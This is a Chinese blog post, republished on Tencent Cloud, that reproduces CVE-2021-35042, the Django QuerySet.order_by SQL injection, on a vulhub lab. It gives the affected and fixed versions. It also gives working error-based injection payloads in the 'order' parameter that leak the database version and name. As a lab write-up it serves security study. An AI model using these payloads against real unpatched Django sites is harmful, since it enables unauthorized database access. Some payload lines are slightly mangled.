前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Django QuerySet.order_by SQL 注入漏洞 (CVE-2021-35042)

Django QuerySet.order_by SQL 注入漏洞 (CVE-2021-35042)

作者头像
网e渗透安全部
发布2022-06-15 11:39:46
6050
发布2022-06-15 11:39:46
举报
文章被收录于专栏:白安全组白安全组

前言:

Django 是一个高级 Python Web 框架,它鼓励快速开发和简洁、实用的设计。它由经验丰富的开发人员构建,解决了 Web 开发的大部分麻烦,因此您可以专注于编写应用程序,而无需重新发明轮子。它是免费和开源的。

影响版本:

Django 3.2

Django 3.1

安全版本:

Django >= 3.2.5

Django >= 3.1.13

正文:

环境搭建:

基于 vulhub 靶场进行环境搭建,启动目录:

代码语言:javascript
复制
/vulhub-master/django/CVE-2021-35042

启动命令:

代码语言:javascript
复制
docker-compose up -d

访问 http://192.168.0.110:8000 成功即可

漏洞复现:

我们访问 http://192.168.0.110:8000/vuln/这个页面

通过 order 这个参数我们传递一个值构造一下

代码语言:javascript
复制
http://192.168.0.110:8000/vuln/?order=-id

可以看到这里的顺序变为了倒序 我们就可以利用这里的条件来构造语句利用报错注入 添加

代码语言:javascript
复制
?order=vuln_collection.name);select updatexml(1,concat(0x7e,(select @@version)),1)%23

到 GET 参数,其中 vuln 是我们的应用程序和 collection 模型。这里我们爆破一下数据库版本。 直接拼接到网址后面

代码语言:javascript
复制
http://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,(select%20@@version)),1)%23

这里成功利用报错 注入完成,我们总结下其他语句ht

代码语言:javascript
复制
tp://192.168.0.110:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,concat(0x 7e,database()),1)%23 

//报错回显库名

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-05-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
    • Django 是一个高级 Python Web 框架,它鼓励快速开发和简洁、实用的设计。它由经验丰富的开发人员构建,解决了 Web 开发的大部分麻烦,因此您可以专注于编写应用程序,而无需重新发明轮子。它是免费和开源的。
    • 安全版本:
    • 正文:
      • 基于 vulhub 靶场进行环境搭建,启动目录:
      • 漏洞复现:
      相关产品与服务
      容器服务
      腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档